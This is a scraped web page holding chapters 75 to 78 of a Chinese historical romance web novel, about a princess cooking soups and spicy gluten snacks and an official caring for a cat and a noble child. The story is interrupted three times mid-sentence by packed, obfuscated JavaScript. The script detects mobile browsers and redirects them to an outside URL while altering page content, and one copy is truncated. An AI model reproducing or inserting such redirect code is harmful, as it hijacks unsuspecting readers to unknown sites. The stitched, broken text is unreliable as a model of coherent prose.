鸡腿因着是在锅里炖锅，卖相就差了些。不过家常菜，味道远比花里胡哨的摆盘重要。 再度坐回大方桌，萧鸣笙仍是舀了一口汤，还没吹一吹，手边已有一碗六分满的鸡汤，金黄透亮，很是养目。 正是崔大人端来的。 “这样一锅，总不能叫臣全吃了吧？臣的肚子，又不是宫里的御湖。” 后面这句，仿佛是自己笑话他的。陛下赐了鹧鸪汤那回。 这回，她倒是没再笑他，“大人连番辛苦了，多劳多食，也是应当的。” 老母鸡只用了姜去腥，再水慢炖，用少许盐调味，再繁复的香料，会坏了鸡汤原本的味道。 崔明端也不是头一回吃，只是今日吃来，总感觉不太一样。他口拙，不如荀二郎那般灵敏，只觉着异常鲜美。 萧鸣笙自己炖的汤，也吃得欢。身为一个岭南人，炖汤，那是与生俱来的血脉天赋。一样的简单配料，但是不同人，能炖出不同的滋味。 等问政笋汤煨好，还需一个时辰。 萧鸣笙吃饱了，难免犯困……哈欠，是忍不住的。 她掩帕打了的两个，不说是陪坐的崔明端了，就连是来送药丸子的阿草都跟着打了一个。 “要不……” 这位生性率真的小娘子总是语出惊人，崔明端指尖摩挲着潦草的脑壳，低低一叹，是得找个由头。 75.驯猫大师 “上回郡主借臣看的那本书，还未看完，臣斗胆，再借一回。” 崔大人如是道。 这下，困意深重的人，霎时清醒不少。这情境，堪比年级第一在你午睡时去刷三五。 可萧鸣笙是谁？反内卷第一人，年纪第一要刷便让他刷去，人总是追不上神的脚步，千万不要内耗自己。 这书，不单是要借，还要多借几本。 她笑眯眯挑了好几本过来，经史子集，一样来一本。 在崔大人倏然凝重的目光，她只管是借机亲近小潦草——若非二人不熟，她能上手去摸摸。 “我听说大人有过目不忘之能，看书定是一目十行，一本定是不够的，这些……先给大人打发时间，若是看完了，只管吩咐嬷嬷来书房取。” 要不是那书架设在她的卧房，她能将嬷嬷的差事也省了。 于是乎，吸了猫猫，萧鸣笙再度打着哈欠，步伐轻快去小憩，徒留某人心头郁郁在原地。 因着他连番动作，怀中猫儿被惊扰了，这会儿也跟着伸了伸懒腰，瞪着继续睡去，呼噜声又起。 他也垂眸低笑，罢了罢了，既是她送来的书，多看看，也无妨。 * 萧鸣笙小憩的时间，实在小不了。 眼瞅着天色暗了，炭盆也重新加了炭，崔明端当真将手边的书翻了一遍，可回廊静悄悄的，偶有侍女说话的声。 阿草在廊下嘀咕：“嬷嬷，郡主的笋汤，好了么？我要不要去喊郡主起来啊？” “这……”卢妈妈也为难呢，送了茶，又添了灯。郡主不能睡到日暮吧？ 左右为难之际，崔明端从里头出头，阿草在卢妈妈身后探头去看—— 大人的猫，没带着。 崔明端仿佛能一眼洞察人心，“已到申时……我起来走一走。” 言外之意，“小憩”的郡主，该起身了，否则，夜里吃定是要不得安眠。 可惜，一老一少没能领会崔大人的苦心，除了笑着点头，恭送他，就站在廊下吹风。 崔明端沿着萧家小院走了走，这几日虽是落了雪，但照殿红不惧严寒，上头的花苞安然无恙，与远山的红梅遥相呼应。 梅花坞的冬日，是不大清静的。京城能赏梅的地方，终究不如这山野之地。梅花得天地灵气滋养，远比一家一户的供养更有神韵。 特别是对闲适的士大夫而言。休沐时，总会相携而来。虽不是贴着萧家这处，然而隐隐可辨人声。 日过中天，向西而去，山风急速便冷，崔明端昂首迎着寒风，还没将繁杂思绪理一理，便听到了一阵欢快的笑声，“崔兄，你一人来，也不带我。本公子——” 话没完，这位气势汹汹的小公子就像个不倒翁一样倒在坡路上。 萧家门口的台阶换成了坡路，山路弯了又弯，小团子腿短，身上的衣裳一层比一层厚实，径直倒了下去。 崔明端瞧着有些心惊，袁志也在墙头翻了出去，才落地，小公子已经自己翻面—— 可惜，没翻过来，反而是侧着滑了滑。 “崔兄莫惊，本公子好着呢，方才说到哪里来着？” 像一条离水的小胖鱼，不过是条懒鱼，连扑腾也不扑腾，就直挺挺躺着，再转着眼珠子打量着袁志。 “呦，这位兄台，本公子也认得你。” “……小公子安好。” 袁志着实汗颜，但有人比他更甚。左右为难之时，崔明端已经快步走出，将小团子捞了起来，动作不甚熟，仿佛是搬根木头。 “崔兄，你这抱法，很不解风情。” “……侯爷是何等稳重的人，你怎满口荒唐话？” 崔明端笑骂一声，也抬手将他毛毡上的灰尘掸了掸。“马车呢，怎么一个人走了上来？” 小公子误以为他和兄长一样要弹自己的额头，赶忙是护了一下。“马车坏在半道了，本公子认得路，也有腿，能自己走上来。” 手上也戴着灰褐色的护具，毛茸茸的，像极了屋里贪眠的狸奴。 素来冷峻的人，总是不自觉挂了笑。 “崔兄，我郡主姐姐有没有说你春心萌动的模样，傻傻的——” “小小儿郎，也该学一学非礼勿言。” 这一回，崔明端当真是弹了弹他的额头。可惜力道极小，反而把人逗得嘎嘎笑。 “我郡主姐姐呢？本公子要去给她请安了。” 崔明端哼笑一声，将歪去的毛毡帽子扶好，再掂了掂这沉甸甸一坨。回去也要在院子里设个靶子练练。 屋里头，萧鸣笙正好起来，还没来得及吸一吸潦草，便有一个大毛茸茸来了。 红白相间的配色，如雪里红梅一样惹眼。 “呀……小公子怎么来了？” “郡主安好。听说崔兄来了，我写了一上午的字，才过来的。” 小团子见了人，伸了手，也想萧鸣笙抱一抱，可屁股底下的手臂动了动，难得他领悟过来，又挺着鼻子嗅了嗅，“郡主家，总是香香的。” “就是些药香气，难为你不怕苦，冰天雪地还来一趟。今日家里没什么好吃的，煨了一道笋汤。”萧鸣笙示意他坐。 崔明端放了人，也想再跟过去，谁知惊醒了潦草。狸奴便与绪安大眼瞪小眼。 “大人坐着。” 她也不放心让小孩子与新猫猫共处一室。 直至问政山笋汤上来，一人一猫才收敛了各自的探究。 “崔兄，你多吃些。” 突然尊老起来，连萧鸣笙也狐疑看了一眼，“小公子吃不了笋么？” 绪安摇摇头，“苦的，我不吃。” 崔明端心知肚明，愣是没劝，萧鸣笙本要解释，却得了崔大人一道促狭的目光。 目光灼灼，连绪安都咦了一声：没眼看崔兄。 “咳咳……” 萧鸣笙稍稍一窘，也无暇兼顾他，坐下后，拿出个空盘子，将鸡胸肉挑了出来。 不等她动手，崔明端便接了过去，撩高了衣袖，颇是郑重将皮去了。 “烫……” “崔兄你怎么知道本公子爱吃皮？啊——” “……” 这下，就连是萧鸣笙也忍不住了。 小公子不止贴心“啊”了，脖子也伸了过来。 “我……”萧鸣笙本想另外用筷子夹了喂他，谁知端方君子如崔大人，径直用手拎起那块剔除出来的鸡皮放到绪安口中。 “嗯，好吃……” 纵使这母鸡再老，也架不住几小时的炖煮，入口滑不溜秋，稍稍一抿便入了胃。 绪安吃了喜欢，也喜欢由崔明端喂食。“郡主，你且自便，我崔兄能照顾好我的。” “……是。” 萧鸣笙当是看戏一般，看那阴阳脸的猫猫高冷坐着，等崔大人将鸡胸肉撕成小条。 而大猫猫也干等着，等崔兄把鸡皮剔出来喂他。 一人一猫都有美好的未来，如果不是绪安发现那鸡肉丝原是预备给猫猫吃的话。 “我兄长老念叨我不能吃太多肉，崔兄你把肉给郡主吃吧……” 话未完，盘子边缘出现了一只毛茸茸的爪子，潦草难得动了，还做出护食模样。 崔明端暗自发笑。午食看过她如何喂的猫，也学着淋上一勺鸡汤，由着它左右嚼着去。 “啊——郡主，你管管崔兄，他将猫儿放餐桌上不说，还要喂它吃肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164279|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！”小团子气鼓鼓的，他就说崔兄怎么忽然贴心起来了，原是把他当猫儿打发了。 “哼……崔兄好生气人。” 萧鸣笙也为难，便将这烫手山芋还给了崔明端。 崔明端神色自若，不单是喂他潦草不吃的鸡皮，还挑了几根笋丝喂他，“小公子不吃肉，那吃一些笋。” “呜……” 才要抗议的话，在郡主怜爱明媚的笑里淹没了，绪安老实张口，不过话还是要说的，“崔兄，这一口，我可不是看在你的面子。郡主——” 眼眸含泪，迅速眨巴两下，好不可怜。 萧鸣笙笑道：“笋丝，也是我做的。小公子尝尝，若是不喜欢，便不吃了。” “呜……”他要说的，可不是不吃。 而是鱼丸！ 听说崔兄送了荀家鱼丸，没有他的份！他写完字，跟他爹一说，“爹爹，我觉得你该反省一下。” 一句话便成功增加了课业——十张大字。 小小的人儿，小小的脑瓜子也无暇想太多，口中的笋丝细如毛发，脆嫩，香甜？ “咦，不是苦的？” “泡发后切丝，冷水下锅，笋就不苦了。”萧鸣笙尽心将处理方法说了出来。“小公子若是爱吃笋，便让厨娘照着这法子试试。” “好呀！崔兄你竟不告诉本公子实情。哼……” 再哼，头上的虎头帽便教筷子碰了碰。 崔明端尽职喂了半勺的汤，汤里尽是老母鸡与问政笋的精华所在，带着竹笋的清香，鸡汤也不腻。再挑嘴的绪安也吃得顺毛了，“好喝好喝……崔兄能否再给本公子一口？” “小公子这样讲礼？臣也想尝尝这汤是何等妙绝！” 说罢，又不喂了。 崔大人将他那碗放着，旁若无人端起自己的碗，细细品着问政山笋的鲜甜滋味。 好一个驯猫大师！ 萧鸣笙看够了戏，小团子要哭不哭的模样实在惹人怜爱，才要起身，崔明端以目示意，捡了块鸡脖子给他。 “郡主安心吃着，听说侯府规矩森严，往日也不让嬷嬷喂的。” “果真么？”萧鸣笙半信半疑，也不知侯爷是怎样的人，侯府两位公子的性情——格外不同。 一锅问政笋汤，吃的是宾主尽欢。 绪安带了好些补药来，光大山参就有两根。 礼物贵重，萧鸣笙不好收。 谁知，小团子又可怜巴巴要崔明端抱，安坐他手臂上，才滔滔不绝道：“我年纪小，不懂事，由父兄教诲嗝……才知郡主送的烤肠和面包千金不换……嗝……” 肚里装着好些鸡皮和笋汤，打着饱嗝也不妨碍陈情。 也许是梅花坞过于清静，冬日里连山鸟的叫声都成稀罕物。 小公子模样讨喜，她总是偏宠几分，“呀，小小年纪，便不和崔大人说一样的客套话。面包，用面团一做就有了。山参可是要长数十年……” “府医说要两百年，嗝……” “……” 好极了。这更不能收了。 眼瞅着郡主脸色一变，绪安便又靠着崔兄脑袋，瓮声瓮气道：“崔兄，你是不是没送过参给我郡主姐姐？如她一般的身份地位，收受这两根小参，该是看也不看才是……嗝……” “……” 这下，萧鸣笙与崔明端面面相觑。她倒是看戏居多：侯府公子，非池中之物。 而崔明端则是略略尴尬：这些年，自己确实疏忽了，年节的礼，都是由府里安排着送的。 “小公子盛情，那我便收下这两根小参——”萧鸣笙同是怜爱望着他栩栩如生的虎头帽，“小公子吃豆芽与燕窝么？我做一道豆芽燕窝送你如何？” 76.燕窝豆芽 “豆芽燕窝？” 小公子再歪了脑袋，与崔明端相碰，教人腾出手扶了扶毛茸茸的帽子。 “崔兄你可吃过？我年纪小，家境贫寒……” “……” 家境贫寒忠勇侯！ 真真穷过的萧鸣笙被这小鬼逗乐了，也促狭去看崔大人，“大人可吃过？” 清河崔氏，飞禽走兽，花鸟鱼虫，什么奇珍没见过。然而，燕窝与豆芽的配伍，实在不曾吃过。 崔明端罕见露出一丝迷茫之色，萧鸣笙亦是含了笑，“这方子，也不是我想出来的。听说有位奇人，颇通饮食之道，亦爱豆芽柔脆。说可配燕窝，以柔配柔，以白配白的缘故。不过，以极微贱的食材去配极贵，大家总会嗤笑一声。殊不知，惟巢父和由正可陪尧舜[1]。” 前一半的食材配伍之说，崔明端只是当个山野闲话听一听，谁知她话音仍是淡淡，笑意盈盈，话家常，却道出大智慧。 崔明端眼波潋滟，触动心绪，自有万千话语要跟她说一说。 原以为她流连灶房，是病中忧思为打发时间。谁知，自有一方大智慧。 “这一番言论，说的倒像是圣贤的话。” 小公子听得昏昏欲睡，兄长绪宁讲些浑话，他都能懂。这也超出了夫子的教习范围。 不过，他记性好，回头找着了机会，便拿这话去激夫子。 前几日，他被陛下金口点为皇子伴读，教习的夫子是位清正的老大臣。听了此番言论，老太傅自惭形愧，虚心讨教后才发现是荣安郡主的话，当即回禀了陛下，要告老还乡去。 此乃后话。 眼下，想虚心讨教的人，是崔大人。 萧鸣笙赶忙找补道：“小女不过是拾人牙慧罢了，这样睿智的话，并非是我说的。” 崔明端也没深究。 这道菜，终究没有即刻送出。全因萧家没有泡发好的燕窝。 入冬后，内侍省送来不少品质上乘的白燕，但也要和笋一样泡发两三个时辰。眼下已是申时过半，再泡发，便是夜里了。 小团子眸子含泪，抿着唇，好不可怜。 崔明端也怕他说出叫人伤心的话，譬如：依着郡主姐姐的身份地位，灶房怎么没有泡发好的燕窝待用。 他暗暗掂了掂小公子，又望着远山的幽幽的暮气，再是不舍也得提出告辞，“时辰也不早了，郡主的燕窝豆芽，待臣休沐再带小公子过来。” “嗯……”绪安也没闹，乖乖跟着点头，“或是，明日崔兄同陵安府告假——” 话未完，郡主先是笑道：“那可不成。崔大人在陵安府的公务多着呢，你若着急，也可让你家兄长带你过来。” “不可——” 两人难得异口同声道。 崔明端说完，惊觉自个儿心思过于明显。 小团子难得没来挑刺，也跟着闭口不言。他才不要跟兄长出门！ 兄长从前就爱逗他，如今一心想赚银子，连郡主送的香肠和面包都要拿去市集卖。崔兄再如何，鸡皮那也是管够的！ 人该走了，那猫呢？ 萧鸣笙不是没奢望过崔大人会将潦草留下来——毕竟他日日都要去陵安府上值，哪有她一个闲适郡主带猫方便啊？ 可惜，崔明端一手将小公子捞了起来，另一手拎了猫，它倒伶俐，就往毛绒的披风里钻。 来时，是光风霁月的崔家六郎；此时左手一个娃，右手一个猫，好生忙碌。 “要不……” 她才开口，崔明端极快将话接了过去，“外头冷，郡主不必远送。” “好……大人慢走。”她将目光放在潦草还没来得及收回去的尾巴上，再一抬头，才发现小公子也眼巴巴等着。 “小公子也慢走。下回可不许一个人来了。” “郡主的话，我记着的。下回，我还和崔兄一起来。”有郡主在，他俨然是个乖宝宝，就老老实实坐在崔明端手臂上，跟着爬上崔家的马车。 可惜，这会儿，他独自坐一处，猫儿稳稳在崔兄怀里，他又不干了。“崔兄，你都没怎么抱过我！陛下说了，你是太傅，我这几日进宫去，也没看到你。” 绪安要念叨的，自然不是没看到崔明端。而是二皇子身边伺候的人说，上回崔大人送了一份肉松面包卷过来。 兄长也带了一整条回去，切开了，父兄都吃了一块，余下的，兄长还要送去给范家和钱家。 给二皇子的见面礼，想来也有自己的一份。 小团子眼珠子骨碌碌地转，猫儿呼噜噜的，崔明端噙着笑，将猫儿放在身旁。 绪安以为是来抱他，谁知脑袋一重，只是招了崔大人的一个手掌。 “崔兄，你明日进宫么？若不然我今夜就住你家。明日再一道去宫里给陛下请安。” 衙署里休沐两天，明日是该上值了。 崔明端不置可否，小公子又出了个鬼主意，“若不然，你将我送到观里，我跟你爹修道去。” “宫里人欺负你了？” 崔明端也当过皇子伴读，当即便晓得他不想去。 绪安摇摇头，又点点头。想到要去宫里，身上一乏，像在萧家门口的坡路一样，缓缓倒了下去。 山路蜿蜒曲折，崔明端下意识上前一接，小公子也狡黠，顺势一倒，便在他怀里了。 他打蛇随棍上，双手紧紧搂着崔明端的脖子，“崔兄，你就不能抱抱我么？” “……” 今日也不知是抱了他几回了？ 然后，瞧小公子忽而红了眼眶。崔明端心一软，便掂着这一长条肉垫回去了。 “本公子暖乎乎的，要不是崔兄一直说郡主体弱，抱不起人。抱着我，可比暖炉还暖。” 这一点，绪安当真是说着了。 崔明端原就不怕冷，再抱了他这个大暖炉，暖得思绪都懈怠了，“且说说你进宫的事。” “还能有什么事？本公子就是懒怠， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177784|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想日日早起进宫去。再说了，二皇子年长我好几岁，怎么就是我给他当伴读啊？” 这疑问，在口谕送到侯府时，侯爷已经问过了传旨的公公。 ——自然是侯爷得陛下信重，小公子惹人怜爱的缘故。 自然不是这缘故。选伴读，自然是帝王术。 譬如，先皇为五皇子选了崔家六郎。若无崔家，龙椅上坐的谁，可悬呐！ 而今，崔家恩宠再上一层楼，其他皇子的伴读，便没这样的好运道。 侯爷也知，不管是哪个皇子继位，哪个世族得陛下恩宠，都有更多的世家渐渐没落下去。 天家不能由着一家独大，大权独揽。 眼下，怀中的小公子尚且还是一个乳臭未干的小儿，前路已由天子决定。 “二殿下……” 崔明端也下放了四年，对诸位皇子的了解都是听家中族老说的。二皇子温良，容貌与陛下有五分像，性情也随德妃娘娘，素来不爱争些什么，很像陛下做皇子时。 故而，陛下对二皇子也有几分不同。 这些，都是不能宣之于口的。 崔明端也只能是说些轻巧的话来哄哄他，“忽然想起来，二皇子外祖家在江南鱼米之乡，每年都会送些不同于京城的好东西来。你跟了二殿下，自然少不了好吃的。“ “唉……” 怀中的大懒鱼，忽然扑腾伸展四肢，再重重一叹，“崔兄，你就哄我吧！” “……” 崔明端被他纯澈的目光盯着，莫名汗颜。可不就是哄他么？ “我知道了，你没掌家，所以没银子送好东西给我郡主姐姐。还指望本公子从二皇子那儿得到些赏赐……哼，崔兄，你可真狡猾！” “……” 被人这么一数落，崔明端难得是朗声大笑，再度揉了揉他的虎头帽。“小公子说的是，陛下赏过我几匹不错的皮毛，回去我让人翻出来，给你再制一顶新帽子吧。” 送绪安帽子，是这孩子容貌出挑，实在配得上那毛子，也是谢他。荀兄昨日提的那两桩为难事，托他福，崔明端已然想明白了。 “哼，本公子房里还有十一顶帽子！你有好料子也不懂得送我郡主姐姐！要不是你们已经定亲了，本公子也可与你争——” 余下的话，尽数教头顶的大掌揉散了。“越发胡闹了，叫郡主姐姐，我纵着。” 来日，可是要改口叫郡主嫂嫂的。 某人下意识抿着笑。 潦草也不甘示弱，径直是踩着绪安的肚皮就上来了，在上头踩来踩去，找着了最柔软的地方——肚皮。 它伸腿踩了几下，又开始蹲下，闭目睡觉。 “哼……崔兄傻乎乎的，你倒是精明，还记得挑我肚子。” 绪安也不忘再念一念不解风情的崔兄，“崔兄你不送参就算了，连个猫也不送我郡主姐姐。也就是她在梅花坞养病不知道，这个花脸猫，明明就是眠山道观里的……” 77.猫与辣条 潦草的来历，崔明端说谎了么？ 也不尽然。 父亲不见他，下山时，就在道旁雪窝里见着了扑腾的潦草。 与道观这样近，该是观里的猫。 他让阿藤调转回去，谁知山门的道童不见了，来的却是观主。 观主神龙见首不见尾，比崔三爷还难捉摸。“这猫看着是观里所有，实则不然。不过是前儿在这猫冬，想来是阴阳变化，时气转暖，想要出去云游一番了。” 崔明端抱着才不过两个月的小奶猫，很是为难，“时下还没开春，阳气变动，只在细微间，它一人——一猫，尚未足岁，怕是难熬。” 然而，观主只是微微一笑，自个儿往后山走去。 崔明端无法，想着入观把猫放着，总有道童照看着，或是往来香客众多，总不会饿着。 可一放下，这猫就追了上来。不管几回，都是如此。 若崔明端当真狠下心去，不理它——万一这小家伙追到半道，真困在雪窝里，只怕是凶多吉少。 想着观主那一番话，他也只能抱起潦草，朝着山门拱拱手，聘猫之礼，来日再补。 小潦草模样也招人稀罕，这阴阳脸，泾渭分明，左黄右黑，连耳朵都随了面颊的颜色，一黄一黑。 崔明端挠了挠它的脑壳，呼噜声更大。 怀中那条大懒鱼，也不知是几时闭了眼，也跟着打起了轻微的鼾声。 小小年纪，爬那么一段山路，小嘴又叭叭说个不停，着实是辛苦了。 崔明端也收了收手臂，不免又想起了荀二郎。他家双生子满月酒时，孩子曾抱出来见过几位要紧的客人，譬如挚友崔明端。荀二郎打趣道：“也不知崔兄是几时成婚，若不然先拿我这小子练练？” 练习抱孩子，学着如何当个爹爹。 他素来喜静，可孩童吵闹，并不十分欣喜。 双生子满月，也不是消停的月份，不多时尿了，饿了，哭了，着实让仆妇们好一阵忙碌。即便是柴氏，也吩咐嬷嬷过来看看兄妹俩好不好。 偏偏荀二郎搭着他的肩膀道了一句：“你看，要做爹，说容易也容易，底下自有仆妇们照看着，再不济，还有孩子他娘顾着。不过，说难也难，上值时，我总想着他今日哭了几回，仆妇是不是偷奸耍滑，这小子会不会翻身滚了出去……” 那时，崔明端应和是应和的，到底也没眼下更操心。 绪安睡着了，潦草也睡了。他既担心绪安是否着了凉，也担心他一翻身，就将猫儿惊动了。也担心潦草压到了绪安，再跳起抓伤了人。 唉……便是这缘故，他才不敢轻易将潦草送了出去。 她本就病着，再添了这许多……唉……还是先带回去养几日看看脾性。 * 萧鸣笙可惜了好几日。今冬的雪大，崔明端在陵安府里确实忙碌，足有两三日不曾过来。 不过，她也忙着正事。 包子爹爹已经算出了盖茶楼所需材料和银子。 沙子可以从梅花坞的河里捞，黄泥就地挖一挖。 “就是这木头……” 包子学着他爹的模样，一五一十道来，“山上是有许多树，但还要风干才能用……不过，可以先去城里的铺子看看，同人家管事的说清楚，把新木头拉过去，折个价，也能省不少钱。” “呀，不想你爹竟这样周全，实在是个好办法。” 萧鸣笙不吝夸赞了好几声，包子也有些不好意思，“嘿嘿，这是我娘先提的，她说姑娘一个人持家，也不容易，能省一点是一点。” 包大娘确是想得周到。 萧鸣笙手里头，各色东西不少，唯独银子是缺的。 原本就两百两的家底，还花了一半在崔大人身上。古往今来，风水先生可真是个赚钱的行当。他老人家竟也没收个友情价！ 好在包家给的报价，也不过是三十两。 这钱，远远低于萧鸣笙的预想。但是，她也不敢大意，将预算提到了六十两。万一有另外要花钱的地方呢？ 以新木换干木的法子，第一步，就失败了。 包子进城赶集，帮着问了好几家，可每一家的回答都是一样的。 “这新木，怎么能和干木一样的价格？看着都是木头，不说是来回搬了，我还要用地方来存放、晒干。” 乡下人家起屋，都是先砍树。置换这个法子，没用过。 原以为是行得通的。 更让人头疼的是，木头的价格，不便宜。一根能做房梁的粗木，比如杉木，就要七八两。这样算下来，光木头的花费，就不止三十两了。 包子来时，就被爹娘叮嘱过，“我爹说，姑娘要是不着急，可以先砍树，再放一放，能省一大笔银子呢……” 萧鸣笙笑着谢过，又找了一盒糕饼给他。内侍省倒是乖觉，宫里有的栗子糕、桂花糕，一份也没缺她的。 阿草再不挑食，也吃不过来。 这回，包子觉着没帮姑娘把事情办好，说什么也不收，一溜烟跑了，风里只剩下他的话，“姑娘要是砍树，我阿爹他们都能帮忙。今天我就先走了……” 木头的事，还没定下来。倒是有人先打起了梅花坞的主意。 翌日，萧鸣笙跟着卢妈妈进了那几个宝藏库房查看。 她其实也存了一丝幻想：你说，卢妈妈有没有可能真带仓库穿越的呢？今日想要木头，她就能从里头掏出木头来？ 然而，卢妈妈只是讪讪笑着，也不知郡主是想要什么。 主仆二人在库房里兜兜转转，木头没有 ，但是发现了一个稀罕物。 “这是……”里头光线不大好，萧鸣笙也不敢确定，看着有些像牛面筋。 卢妈妈更是讪讪，“这是内侍省送来的……说是秦州那儿新出的面食，给郡主尝尝鲜。” 秦州。 萧鸣笙在脑子里一盘算，似乎是甘肃的古地名。 甘肃天水的牛筋面？ 这么一想，便说得通了。她当即有了个绝妙方子。 眼瞅着郡主喜滋滋拿了一包牛筋面走了，卢妈妈在里头唉声叹气。 “卢妈妈，你怎么了？”阿草被吩咐进来拿点芝麻。 “没事没事……” “哦，那给一点芝麻给我。” “……” 这下，卢妈妈是真有事了。 * 萧鸣笙要做的是，辣条！ 牛筋面都有了，只需预备细辣椒粉、花椒粉、白芝麻、白糖、盐。 将牛面筋放在凉水里浸泡，萧鸣笙去找调味品，取适量放入碗中备用。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188928|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阿草往锅里加了水，又去起火，这些日子她常帮着做事，痴症也好了些。 萧鸣笙也有自己的打算。侯府的府医搞不好是真能治阿草的病，只是两家没交情，害怕担风险。 交情，这就不交来了么？ 侯府不缺两百年的大山参，架不住有个小团子啊，没有一个小团子能拒绝辣条的诱惑！ 牛面筋不需泡久，捞起铺开在蒸屉里蒸一蒸。 照顾着小团子的乳牙和卢妈妈，萧鸣笙预备多蒸一会儿。 蒸好出锅，最关键一步便是给面筋的两面都刷上油。 小刷子，也是袁志自己做的，也难为他一个军旅之人，天天在家鼓捣这些小玩意儿。 “这是大哥给我玩的。” 大小不一的毛刷，阿草跟献宝似的拿了出来，“今年的，我还没玩过，郡主你要玩哪个？” 萧鸣笙挑了一个一指宽的，指指面筋的大小，“你也用一个差不多大的，给它们刷上油。” 阿草平日就拿着刷子在青砖石那边刷蚂蚁玩，今日刷个不一样的，干劲十足。 萧鸣笙则是往锅中倒油，加入适量大葱，八角一个，桂皮一小块，香叶一片，小火炸至香料焦黄，捞出料渣，把油倒入调料碗中，用筷子搅拌均匀。 经热油一激，香气霎时出来，阿草不禁吸溜了口水，“郡主，我已经刷好了。” 刷好的面筋分成两部分，各自放在大海碗里，再将料汁倒进去，搅拌一番。 “你爱吃辣，这一份，我加多了辣椒，你尝尝。” 阿草先挑了一根给郡主，才想起来郡主吃辣的会咳嗽，憨笑一声，“郡主，那我先给大哥尝尝，他可爱吃辣的了。” 萧鸣笙往外头看了一眼，袁志也不知是在忙活什么，倒是没看到人。 不过阿草一呼唤，袁志便闪现了。 “大哥，你吃。” 红通通的面筋，袁志只觉自己的脸也要红起来了。“你自己吃……” “你吃呀，这个是郡主新做的，就是用你送给我玩的刷子做的，可好玩了。” 萧鸣笙探头出来，二人还在互相推辞着，袁志站得笔直，阿草则是夹着那根面筋不住晃动，“里头还有，阿草你来拿去吃。” 闻言，袁志总算是松了口气，谁知阿草径直将面筋怼他嘴里了，“又不是苦的，大哥你怕什么？” 说罢，她又欢快回去拿自己的份了。 郡主也在，袁志当即转过身。口中的面筋有嚼劲，麻辣鲜香，还有一丝丝甜。光是一根辣条，就将这西北汉子收服了。 一转眼，人又不见了。 萧鸣笙颇是好奇问道：“袁志说好吃不？” “不知道。大哥像怕苦，不吃。”阿草端着这一碗，自己叼了根，眼睛发亮，“郡主，好吃，好吃……像牛肉干一样！嘿嘿们卖这个，比香肠更快吧？” 好极了，连阿草也念着行商的事了。萧鸣笙瞧她喜欢，又递了另一碗没加那么多辣椒粉的，“这是甜辣口的，我多加了些糖，你也尝尝。” 阿草也夹了一根，眉头一皱，“咦……甜了……我吃不了这么多糖的，郡主你吃。我把这个辣的分一分，卢妈妈和大哥都爱辣的。” …… 阿草喜滋滋吃着辣条，潦草也有辣条。 78.脆琅 崔明端的院落，居东方，向阳，地气也好些。 那几株玉兰，一夜间，迸发出更多花苞。 眼下，玉兰未开，树下却也不安宁。滚地锦猫猫一蹦一跳，像是在逗弄什么。 阿藤今日不用跟着大人去衙署上值，就留在院子里照看潦草。 才去拿鸡胸肉的功夫，也不知是哪里来的蛇，躲在花坛后，被潦草一拨一弄。 “嘶……我的祖宗啊……” 阿藤险些将手里的食盒扔了，先往外头喊了人来捕蛇。 这猫，大人昨夜放在内室，原本是另外安置了一个小窝，谁知今日进去时，小祖宗已经是在大人的被褥里。 大人还在捡沾上的猫毛，颇是无奈笑了笑。那笑，可是带着宠溺的。 郡主也很是喜爱。潦草可不能折在一条蛇上了。 捕蛇的动静大，连族老们都惊动了。 崔明端下值，便看到院门口围了好些奴仆。从里面传出阿藤焦急的声音，“小心些啊，潦草还在呢……哎呀，你们让开，我来我来……” 闹哄哄了一阵，一条普通的菜花蛇被打死扔了出去。 “六郎的院子，好好的，怎么会出了蛇？” 不说眼下不是蛇虫活动的时节，崔家地段又不偏，府里经常放蛇药，怎么就出了这个纰漏？ 管家已经去查了，各管事怕担责，有人战战兢兢说道：“大人昨日带了只猫回来……或是那猫从哪里叼的？” 闻言，三夫人的眉头皱了又皱，“六郎要静心读书，也要处理公务，把这猫……” “咳……”嬷嬷轻咳一声，郎君人已迈步进来了。 崔明端只做没听到，依着规矩请安喝茶。 三夫人便说起了这蛇，他不紧不慢接道：“时下是冬日，不应该有蛇。府里出入的奴仆，送菜的车，都该好好查一查。” “是，我已经让管事去做了。”三夫人眼尖，看他袖口就沾着猫毛，才要开口，便听儿子继续道： “出了这样大的事，到底也是底下的人懒怠松懈了。府里也有数年不曾仔细盘一盘，这好趁着年下，将各处理一理，刁钻的奴放到庄子去，要是还能生事，卖了重新买一批进来调教。” 这一回跟着过来的，还有几位管事，就站着听训。 崔明端一向不管府里琐事，这一管，让管事都有些哆嗦。 管家先出来领罪，“小人……” “往年我不在，母亲也辛苦了。正好今年我在，管家把今年的账呈来，我帮着看一看。” 崔明端一锤定音，整治府里乱象，族老们倒没说什么，只是关心子嗣问题。 “郡主身子不好，陛下没让成婚，总不能让你一直等下去，要不……” 